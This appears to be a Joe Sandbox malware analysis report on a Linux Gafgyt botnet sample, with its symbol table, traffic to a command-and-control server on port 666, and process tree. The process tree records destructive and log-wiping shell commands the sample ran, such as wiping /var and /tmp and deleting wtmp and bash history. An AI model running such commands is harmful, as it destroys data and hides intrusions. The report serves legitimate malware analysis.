numpids	.symtab	0x513208	8	OBJECT	<unknown>	DEFAULT	10
object.5162	.symtab	0x5131c0	48	OBJECT	<unknown>	DEFAULT	10
open	.symtab	0x403ca0	106	FUNC	<unknown>	DEFAULT	2
open.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opendir	.symtab	0x407db9	157	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
opennameservers.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ourIP	.symtab	0x5194c0	4	OBJECT	<unknown>	DEFAULT	10
p.5148	.symtab	0x5127e8	0	OBJECT	<unknown>	DEFAULT	9
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
pids	.symtab	0x5194c8	8	OBJECT	<unknown>	DEFAULT	10
poll	.symtab	0x40c2ec	41	FUNC	<unknown>	DEFAULT	2
poll.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prctl	.symtab	0x403d44	44	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prefix.5134	.symtab	0x40e308	12	OBJECT	<unknown>	DEFAULT	4
print	.symtab	0x400928	1084	FUNC	<unknown>	DEFAULT	2
printchar	.symtab	0x4006b5	75	FUNC	<unknown>	DEFAULT	2
printi	.symtab	0x4007e7	321	FUNC	<unknown>	DEFAULT	2
prints	.symtab	0x400700	231	FUNC	<unknown>	DEFAULT	2
processCmd	.symtab	0x402bd0	2168	FUNC	<unknown>	DEFAULT	2
program_invocation_name	.symtab	0x513178	8	OBJECT	<unknown>	DEFAULT	9
program_invocation_short_name	.symtab	0x513170	8	OBJECT	<unknown>	DEFAULT	9
qual_chars.5141	.symtab	0x40e320	20	OBJECT	<unknown>	DEFAULT	4
raise	.symtab	0x40a09c	18	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x406c74	11	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_cmwc	.symtab	0x400249	182	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x406c80	72	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x40ef30	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x406e83	90	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x5130c0	128	OBJECT	<unknown>	DEFAULT	9
rawmemchr	.symtab	0x409a28	189	FUNC	<unknown>	DEFAULT	2
rawmemchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read	.symtab	0x403e4c	39	FUNC	<unknown>	DEFAULT	2
read.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_etc_hosts_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
read_until_response	.symtab	0x400503	104	FUNC	<unknown>	DEFAULT	2
read_with_timeout	.symtab	0x4003fc	263	FUNC	<unknown>	DEFAULT	2
readdir64	.symtab	0x407ecc	143	FUNC	<unknown>	DEFAULT	2
readdir64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
realloc	.symtab	0x40a1a8	878	FUNC	<unknown>	DEFAULT	2
realloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recv	.symtab	0x405ce0	11	FUNC	<unknown>	DEFAULT	2
recv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
recvLine	.symtab	0x401298	574	FUNC	<unknown>	DEFAULT	2
recvfrom	.symtab	0x405cec	45	FUNC	<unknown>	DEFAULT	2
recvfrom.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
reset_telstate	.symtab	0x4005db	36	FUNC	<unknown>	DEFAULT	2
resolv_conf_mtime.5807	.symtab	0x5194b8	4	OBJECT	<unknown>	DEFAULT	10
rindex	.symtab	0x409bd4	53	FUNC	<unknown>	DEFAULT	2
sbrk	.symtab	0x407b30	74	FUNC	<unknown>	DEFAULT	2
sbrk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
scanPid	.symtab	0x5194c4	4	OBJECT	<unknown>	DEFAULT	10
sclose	.symtab	0x40201b	46	FUNC	<unknown>	DEFAULT	2
select	.symtab	0x403df8	44	FUNC	<unknown>	DEFAULT	2
select.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
send	.symtab	0x405d1c	11	FUNC	<unknown>	DEFAULT	2
send.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sendto	.symtab	0x405d28	48	FUNC	<unknown>	DEFAULT	2
sendto.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
seteuid	.symtab	0x403c54	75	FUNC	<unknown>	DEFAULT	2
seteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setresuid	.symtab	0x403fc0	44	FUNC	<unknown>	DEFAULT	2
setresuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setreuid	.symtab	0x403da0	42	FUNC	<unknown>	DEFAULT	2
setreuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setsockopt	.symtab	0x405d58	53	FUNC	<unknown>	DEFAULT	2
setsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
setstate	.symtab	0x406cc8	90	FUNC	<unknown>	DEFAULT	2
setstate_r	.symtab	0x406dd8	171	FUNC	<unknown>	DEFAULT	2
setuid	.symtab	0x403d14	40	FUNC	<unknown>	DEFAULT	2
setuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigaction	.symtab	0x407a1d	114	FUNC	<unknown>	DEFAULT	2
sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
signal	.symtab	0x405dc0	133	FUNC	<unknown>	DEFAULT	2
signal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigprocmask	.symtab	0x407c60	47	FUNC	<unknown>	DEFAULT	2
sigprocmask.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
sigsetops.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
skip_and_NUL_space	.symtab	0x40bb3d	44	FUNC	<unknown>	DEFAULT	2
skip_nospace	.symtab	0x40bb14	41	FUNC	<unknown>	DEFAULT	2
sleep	.symtab	0x407220	142	FUNC	<unknown>	DEFAULT	2
sleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket	.symtab	0x405d90	47	FUNC	<unknown>	DEFAULT	2
socket.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
socket_connect	.symtab	0x402950	216	FUNC	<unknown>	DEFAULT	2
sockprintf	.symtab	0x400f2c	387	FUNC	<unknown>	DEFAULT	2
spec_and_mask.5140	.symtab	0x40e340	16	OBJECT	<unknown>	DEFAULT	4
spec_base.5133	.symtab	0x40e314	7	OBJECT	<unknown>	DEFAULT	4
spec_chars.5137	.symtab	0x40e3a0	21	OBJECT	<unknown>	DEFAULT	4
spec_flags.5136	.symtab	0x40e3b8	8	OBJECT	<unknown>	DEFAULT	4
spec_or_mask.5139	.symtab	0x40e350	16	OBJECT	<unknown>	DEFAULT	4
spec_ranges.5138	.symtab	0x40e360	9	OBJECT	<unknown>	DEFAULT	4
sprintf	.symtab	0x404054	149	FUNC	<unknown>	DEFAULT	2
sprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
srand	.symtab	0x406d90	72	FUNC	<unknown>	DEFAULT	2
srandom	.symtab	0x406d90	72	FUNC	<unknown>	DEFAULT	2
srandom_r	.symtab	0x406edd	183	FUNC	<unknown>	DEFAULT	2
stat	.symtab	0x40c378	79	FUNC	<unknown>	DEFAULT	2
stat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
stat64	.symtab	0x40c378	79	FUNC	<unknown>	DEFAULT	2
stderr	.symtab	0x512df0	8	OBJECT	<unknown>	DEFAULT	9
stdin	.symtab	0x512de0	8	OBJECT	<unknown>	DEFAULT	9
stdout	.symtab	0x512de8	8	OBJECT	<unknown>	DEFAULT	9
strcasecmp	.symtab	0x40c820	48	FUNC	<unknown>	DEFAULT	2
strcasecmp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcasestr	.symtab	0x405ac8	70	FUNC	<unknown>	DEFAULT	2
strcasestr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strchr	.symtab	0x4052e0	417	FUNC	<unknown>	DEFAULT	2
strchrnul	.symtab	0x409c0c	268	FUNC	<unknown>	DEFAULT	2
strchrnul.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strcmp	.symtab	0x405574	33	FUNC	<unknown>	DEFAULT	2
strcoll	.symtab	0x405574	33	FUNC	<unknown>	DEFAULT	2
strcpy	.symtab	0x4055a0	213	FUNC	<unknown>	DEFAULT	2
strcspn	.symtab	0x4094b0	135	FUNC	<unknown>	DEFAULT	2
strdup	.symtab	0x40c3d0	54	FUNC	<unknown>	DEFAULT	2
strdup.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strerror_r	.symtab	0x405a04	196	FUNC	<unknown>	DEFAULT	2
strlen	.symtab	0x405490	225	FUNC	<unknown>	DEFAULT	2
strncpy	.symtab	0x405954	131	FUNC	<unknown>	DEFAULT	2
strncpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strnlen	.symtab	0x405888	201	FUNC	<unknown>	DEFAULT	2
strnlen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strpbrk	.symtab	0x40acd8	140	FUNC	<unknown>	DEFAULT	2
strrchr	.symtab	0x409bd4	53	FUNC	<unknown>	DEFAULT	2
strrchr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strspn	.symtab	0x409538	135	FUNC	<unknown>	DEFAULT	2
strstr	.symtab	0x4057c4	193	FUNC	<unknown>	DEFAULT	2
strstr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoimax	.symtab	0x407064	10	FUNC	<unknown>	DEFAULT	2
strtok	.symtab	0x4059f8	10	FUNC	<unknown>	DEFAULT	2
strtok.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtok_r	.symtab	0x4099c8	94	FUNC	<unknown>	DEFAULT	2
strtok_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtol	.symtab	0x407064	10	FUNC	<unknown>	DEFAULT	2
strtol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
strtoll	.symtab	0x407064	10	FUNC	<unknown>	DEFAULT	2
strtoq	.symtab	0x407064	10	FUNC	<unknown>	DEFAULT	2
successes	.symtab	0x512d00	96	OBJECT	<unknown>	DEFAULT	9
sysconf	.symtab	0x40738f	499	FUNC	<unknown>	DEFAULT	2
sysconf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
system	.symtab	0x407894	335	FUNC	<unknown>	DEFAULT	2
system.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
szprintf	.symtab	0x400e47	229	FUNC	<unknown>	DEFAULT	2
tcgetattr	.symtab	0x405b2c	110	FUNC	<unknown>	DEFAULT	2
tcgetattr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
tcpcsum	.symtab	0x401ed9	169	FUNC	<unknown>	DEFAULT	2
time	.symtab	0x403d3c	8	FUNC	<unknown>	DEFAULT	2
time.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
toupper	.symtab	0x40402c	30	FUNC	<unknown>	DEFAULT	2
toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
trim	.symtab	0x4005ff	182	FUNC	<unknown>	DEFAULT	2
type_codes	.symtab	0x40e370	24	OBJECT	<unknown>	DEFAULT	4
type_sizes	.symtab	0x40e388	12	OBJECT	<unknown>	DEFAULT	4
uname	.symtab	0x40c7c8	38	FUNC	<unknown>	DEFAULT	2
uname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
unknown.1721	.symtab	0x40e3c0	14	OBJECT	<unknown>	DEFAULT	4
unsafe_state	.symtab	0x513090	40	OBJECT	<unknown>	DEFAULT	9
useragents	.symtab	0x512800	288	OBJECT	<unknown>	DEFAULT	9
vfork	.symtab	0x407a90	21	FUNC	<unknown>	DEFAULT	2
vsnprintf	.symtab	0x4040ec	189	FUNC	<unknown>	DEFAULT	2
vsnprintf.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wait4	.symtab	0x407aa8	47	FUNC	<unknown>	DEFAULT	2
wait4.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
waitpid	.symtab	0x403d98	7	FUNC	<unknown>	DEFAULT	2
waitpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcrtomb	.symtab	0x408280	68	FUNC	<unknown>	DEFAULT	2
wcrtomb.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsnrtombs	.symtab	0x4082d4	123	FUNC	<unknown>	DEFAULT	2
wcsnrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wcsrtombs	.symtab	0x4082c4	15	FUNC	<unknown>	DEFAULT	2
wcsrtombs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
wildString	.symtab	0x4010af	314	FUNC	<unknown>	DEFAULT	2
write	.symtab	0x403f68	42	FUNC	<unknown>	DEFAULT	2
write.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
xdigits.3745	.symtab	0x40fbc0	17	OBJECT	<unknown>	DEFAULT	4
xstatconv.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
zprintf	.symtab	0x400d64	227	FUNC	<unknown>	DEFAULT	2

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 7
• 666 undefined
• 443 (HTTPS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2025 20:40:50.647361994 CEST	42644	666	192.168.2.13	31.58.58.113
Apr 21, 2025 20:40:50.926778078 CEST	666	42644	31.58.58.113	192.168.2.13
Apr 21, 2025 20:40:50.927077055 CEST	42644	666	192.168.2.13	31.58.58.113
Apr 21, 2025 20:40:51.011591911 CEST	42644	666	192.168.2.13	31.58.58.113
Apr 21, 2025 20:40:51.206233025 CEST	666	42644	31.58.58.113	192.168.2.13
Apr 21, 2025 20:40:51.206255913 CEST	666	42644	31.58.58.113	192.168.2.13
Apr 21, 2025 20:40:51.206314087 CEST	42644	666	192.168.2.13	31.58.58.113
Apr 21, 2025 20:40:51.250091076 CEST	42644	666	192.168.2.13	31.58.58.113
Apr 21, 2025 20:40:51.290915012 CEST	666	42644	31.58.58.113	192.168.2.13
Apr 21, 2025 20:40:51.485268116 CEST	666	42644	31.58.58.113	192.168.2.13
Apr 21, 2025 20:40:51.529160023 CEST	666	42644	31.58.58.113	192.168.2.13
Apr 21, 2025 20:41:00.146327972 CEST	48202	443	192.168.2.13	185.125.190.26
Apr 21, 2025 20:41:31.634282112 CEST	48202	443	192.168.2.13	185.125.190.26

System Behavior

Analysis Process: RYrydry.elf PID: 5434, Parent PID: 5358

General

Start time (UTC):	18:40:49
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	/tmp/RYrydry.elf
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: RYrydry.elf PID: 5435, Parent PID: 5434

General

Start time (UTC):	18:40:49
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Forked

Chronological Activities

Analysis Process: RYrydry.elf PID: 5436, Parent PID: 5435

General

Start time (UTC):	18:40:49
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Forked

Chronological Activities

Analysis Process: RYrydry.elf PID: 5437, Parent PID: 5436

General

Start time (UTC):	18:40:49
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

File Activities

File Opened

File Written

Process Activities

Process Forked

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: RYrydry.elf PID: 5439, Parent PID: 5437

General

Start time (UTC):	18:40:50
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5439, Parent PID: 5437

General

Start time (UTC):	18:40:50
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Directory Enumerated

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5440, Parent PID: 5439

General

Start time (UTC):	18:40:50
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5440, Parent PID: 5439

General

Start time (UTC):	18:40:50
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /tmp/RYrydry.elf /tmp/config-err-IN1GlB /tmp/dmesgtail.log /tmp/hsperfdata_root /tmp/snap-private-tmp /tmp/snap.lxd /tmp/ssh-ntFb5z3TQVeu /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-ModemManager.service-rehHTg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-PB7Ovf /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-fwupd.service-369SSg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-switcheroo-control.service-jxKacf /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-WfFmsi /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-resolved.service-9mYjrg /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-7ycQxi /tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-upower.service-VKEayg /tmp/vmware-root_727-4290690966 /var/backups /var/cache /var/crash /var/lib /var/local /var/lock /var/log /var/mail /var/metrics /var/opt /var/run /var/snap /var/spool /var/tmp /var/run/NetworkManager /var/run/acpid.pid /var/run/acpid.socket /var/run/apport.lock /var/run/avahi-daemon /var/run/blkid /var/run/cloud-init /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/cryptsetup /var/run/cups /var/run/dbus /var/run/dmeventd-client /var/run/dmeventd-server /var/run/gdm3 /var/run/gdm3.pid /var/run/initctl /var/run/initramfs /var/run/irqbalance /var/run/lock /var/run/log /var/run/lvm /var/run/mono-xsp4 /var/run/mono-xsp4.pid /var/run/motd.d /var/run/mount /var/run/multipathd.pid /var/run/netns /var/run/network /var/run/screen /var/run/sendsigs.omit.d /var/run/shm /var/run/snapd /var/run/snapd-snap.socket /var/run/snapd.socket /var/run/speech-dispatcher /var/run/spice-vdagentd /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/udisks2 /var/run/unattended-upgrades.lock /var/run/user /var/run/utmp /var/run/uuidd /var/run/vmware /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-ModemManager.service-rJRv0g /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-colord.service-2NWDdf /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-fwupd.service-eWBgFg /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-switcheroo-control.service-YlFEtg /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-logind.service-VhFl6g /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-resolved.service-GDC7pj /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-systemd-timedated.service-Ukncpj /var/tmp/systemd-private-fe424f1b0f85425093f40a37100b81c4-upower.service-FqJmSi
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Directory Enumerated

Chronological Activities

Analysis Process: RYrydry.elf PID: 5444, Parent PID: 5437

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5444, Parent PID: 5437

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	sh -c "rm -rf /var/log/wtmp"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5445, Parent PID: 5444

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5445, Parent PID: 5444

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /var/log/wtmp
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: RYrydry.elf PID: 5446, Parent PID: 5437

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5446, Parent PID: 5437

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	sh -c "rm -rf ~/.bash_history"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5447, Parent PID: 5446

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5447, Parent PID: 5446

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/usr/bin/rm
Arguments:	rm -rf /root/.bash_history
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: RYrydry.elf PID: 5448, Parent PID: 5437

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/tmp/RYrydry.elf
Arguments:	-
File size:	111832 bytes
MD5 hash:	71e9b1130b439096029a80f48dc698bc

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5448, Parent PID: 5437

General

Start time (UTC):	18:40:55
Start date (UTC):	21/04/2025
Path:	/bin/sh
Arguments:	sh -c "history -c;history -w"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report RYrydry.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Threatname: Gafgyt

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/run/systemd/resolve/stub-resolv.conf

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: RYrydry.elf PID: 5434, Parent PID: 5358

General

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: RYrydry.elf PID: 5435, Parent PID: 5434

General

Process Activities

Process Forked

Chronological Activities

Analysis Process: RYrydry.elf PID: 5436, Parent PID: 5435

General

Process Activities

Process Forked

Chronological Activities

Linux Analysis Report
RYrydry.elf